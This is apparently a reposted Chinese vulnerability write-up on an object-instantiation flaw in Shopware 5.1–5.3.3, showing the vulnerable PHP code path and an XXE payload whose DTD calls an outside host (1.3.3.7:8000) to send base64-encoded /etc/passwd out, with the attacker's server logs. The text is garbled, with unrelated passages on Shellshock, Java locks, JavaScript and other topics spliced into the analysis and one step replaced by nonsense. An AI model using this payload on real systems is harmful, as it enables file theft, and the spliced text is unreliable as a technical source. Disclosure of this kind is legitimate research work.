


Shopware是当前一款热门的电子商务软件,它基于PHP开发,并且还使用了类似Symfony 2、Doctrine以及Zend框架等多项技术。我们使用了RIPS静态代码分析器对Shopware的69万多行代码进行了检测,并在其中找到了安全漏洞。
【”破壳漏洞”的自我诊断及修复】现在正在火爆中的bash漏洞又称为”破壳漏洞”,可导致远程攻击者在受影响的系统上执行任意代码,可影响多个系统服务:web、ssh、gitlab、dhcp等等。cnvd组织完成的多个测试实例表明,gnu bash 4.3及其之前版本均存在远程命令执行漏洞,该漏洞起因于bash(bourne again shell)的env指令,通过对bash源代码进一步分析得出,env本身并不是任意指令执行,真正导致命令任意执行的原因是bash没有对传入的参数进行正确的边界检查,导致数据和代码的混杂,产生了和phpeval code injection类似的漏洞。据悉,windowsxp将获得两个补丁:一个是针对ie6/7/8推送的远程代码执行漏洞修复补丁,另一个则是其系统自身的补丁,同样是修补远程代码执行漏洞。
v5.1-v5.3.3版本的Shopware都会受到相关漏洞的影响。
n-central软件被披露存在多个漏洞,攻击者利用漏洞可发起跨站攻击,拒绝服务攻击或执行任意代码。此时我们应该注意到synchronized修饰的是实例方法increase,在这样的情况下,当前线程的锁便是实例对象instance,注意java中的线程同步锁可以是任意对象。它采用漏洞产生的原理和渗透测试的方法,对web应用进行深度弱点探测,可帮助应用开发者和管理者了解应用系统存在的脆弱性,为改善并提高应用系统安全性提供依据,帮助用户建立安全可靠的web应用服务,对web应用攻击说“不。
接下来,我们将通过分析应用的输入流数据来对这个对象实例化漏洞进行详细的技术分析。除此之外,我们还会告诉大家如何结合XXE盲注攻击来利用这个漏洞。

RIPS在多个文件和类中找到了这个对象实例化漏洞,受影响的功能是Shopware后端的产品流预览功能。请大家先看看下面这段代码,Shopware_Controllers_Backend_ProductStream类的loadPreviewAction()方法需要接收用户参数sort。
Controllers/Backend/ProductStream.php
classShopware_Controllers_Backend_ProductStream extendsShopware_Controllers_Backend_Application
{
public function loadPreviewAction()
{
⋮
$sorting = $this->Request()->getParam('sort');
⋮
$streamRepo = $this->get('shopware_product_stream.repository');
$streamRepo->unserialize($sorting);
⋮
}
}
在array.prototype.slice.call(arguments,0)中,array.prototype.slice调用的是array的原型方法,对于正真的数组是有slice()方法,但是对于像arguments或者自己定义的一些类数组对象虽然存在length等若干属性,但是并没有slice()方法,所以对于这种类数组对象就得使用原型方法来使用slice()方法,即array.prototype.slice(如果在自定义中的类数组对象中自定义了slice()方法,那么自然可以直接调用)。迪米特法则要求我们在设计系统时,应该尽量减少对象之间的交互,如果两个对象之间不必彼此直接通信php 类实例化,那么这两个对象就不应当发生任何直接的相互作用,如果其中的一个对象需要调用另一个对象的某一个方法的话,可以通过第三者转发这个调用。两个方法都可以向线程池提交任务,execute()方法的返回类型是void,它定义在executor接口中, 而submit()方法可以返回持有计算结果的future对象,它定义在executorservice接口中,它扩展了executor接口,其它线程池类像threadpoolexecutor和scheduledthreadpoolexecutor都有这些方法。
Components/ProductStream/Repository.php
namespaceShopware\Components\ProductStream;
class Repository implementsRepositoryInterface
{
public function unserialize($serializedConditions)
{
return $this->reflector->unserialize($serializedConditions,'Serialization error in Product stream');
}
}
用户的输入通过第一个参数进行传递,并在一个foreach循环中处理完成。
Components/LogawareReflectionHelper.php
namespace Shopware\Components;
class LogawareReflectionHelper
{
public function unserialize($serialized, $errorSource)
{
classes = [];
foreach($serialized as $className => $arguments)
{
⋮
$classes[] =$this->reflector->createInstanceFromNamedArguments($className,$arguments);
⋮
}
return $classes;
}
}
接下来,用户的所有输入信息($className)会被传递给createInstanceFromNamedArguments()方法。
Components/LogawareReflectionHelper.php
namespace Shopware\Components;
class ReflectionHelper
{
public function createInstanceFromNamedArguments($className, $arguments)
{
$reflectionClass = new \ReflectionClass($className);
⋮
$constructorParams =$reflectionClass->getConstructor()->getParameters();
⋮
// Check if all required parameters are given in $arguments
⋮
return $reflectionClass->newInstanceArgs($arguments);
}
}
从上文可以看出,我把qom的对象构造分成三部分,第一部分是type的构造,这是通过typeinfo构造一个typeimpl的哈希表,这是在main之前完成的,第二部分是class的构造,这是在main中进行的,这两部分都是全局的,也就是只要编译进去了的qom对象都会调用,第三部分是object的构造,这是构造具体的对象实例,在命令行指定了对应的设备时,才会创建object。创建实例对象时能用对象直接量就不要使用new object()构造函数,但有时你希望能继承别人写的代码,这时就需要了解构造函数的一个“特性”(也是不使用它的另一个原因),就是object()构造函数可以接收参数,通过参数的设置可以把实例对象的创建委托给另一个内置构造函数,并返回另外一个实例对象,而这往往不是你所希望的。在构造cfiledialog对象时,如果在参数中指定了ofn_allowmultiselect风格,则在此对话框中可以进行多选操作。
查看RIPS报告:【报告传送门】

攻击者可以控制发送给loadPreviewAction()方法的输入数据,并通过给定的参数来实例化任意对象。对于攻击者来说,通过选择指定参数利用一个对象实例化漏洞的难度跟利用一个对象注入漏洞是几乎一样的。不同的地方在于,当一个对象不可被序列化时,攻击者调用的并非是__wakeup()方法,而是__construct()方法。在对一个正如对象的生命周期进行分析之后,我们发现程序会调用如下所示的方法:
1. __construct()
2 nvl和nvl2相当于if...esle而decode可以是if,也可以是if...else,也可以是if...else if ...else。d k ocu-trac ocu-trac 1 – 2 * 4 + 5 1 2 - 4 5 + * 1 2 -1 4 5 9 -1 9-9 while if else if else if else main main push pop main #include。 if-else if-else if 1 else 2 else 0 10 else 2 if if if 。
3. __destruct()
那么接下来,我们就要找出一个能够在运行时可访问的类,并且这个类还需要以一种不安全的方式实现了上面这几种方法。不幸的是,我们无法在Shopware的代码中找到这样的类。
但是,PHP的内置类是可以在运行时访问的,比如说SimpleXMLElement,我们就可以实例化这个类的对象。这个类是PHP SimpleXML的扩展,大多数PHP版本都有这个类。在实例化SimpleXMLElement的对象时,传递给构造器的数据是以XML格式进行解析的,而我们就可以利用这一点来进行XXE攻击了。SimpleXMLElement的构造器签名如下所示:
SimpleXMLElement::__construct ( string $data[, int $options = 0 [, bool $data_is_url = false [, string $ns = ""[, bool $is_prefix = false ]]]] )

请注意其中的第三个参数$data_is_url,它甚至可以给外部XML文件传递一个URL地址。下面给出的XML以及DTD样本显示了如何利用漏洞读取目标系统中的任意文件(需要Web服务器的高级权限才可访问的文件):
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM"http://1.3.3.7:8000/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
<!ENTITY % data SYSTEM"php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITYexfil SYSTEM 'http://1.3.3.7:8000/?%data;'>">
首先,对象实例化漏洞可以被用来实例化一个SimpleXMLElement对象(使用特定参数)。为了激活实体替换以实现XXE攻击,参数$options必须被设置为LIBXML_NOENT。除此之外,参数$data_is_url需要被设置为true,并让$data指向攻击者xxe.xml文件。当注入的SimpleXMLElement对象开始解析XML文件时,它会读取目标文件系统中的/etc/passwd文件php 类实例化,并将其内容以base64编码格式发送至攻击者所控制的Web服务器。
1.2.3.4 - - [07/Nov/2017 13:55:54]"GET /xxe.xml HTTP/1.0" 200 -
1.2.3.4 - - [07/Nov/2017 13:55:54]"GET /xxe.dtd HTTP/1.0" 200 -
1.2.3.4 - - [07/Nov/2017 13:55:54]"GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmF....== HTTP/1.0" 200 -
最后,攻击者就可以通过浏览Web服务器的日志文件来获取目标内容了(需要进行base64解码)。
2017/09/13:将漏洞信息上报给了Shopware的开发团队。
2017/09/14:与厂商协商漏洞披露时间。
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-106509-1.html
看事情要抓主要矛盾
千玺好样的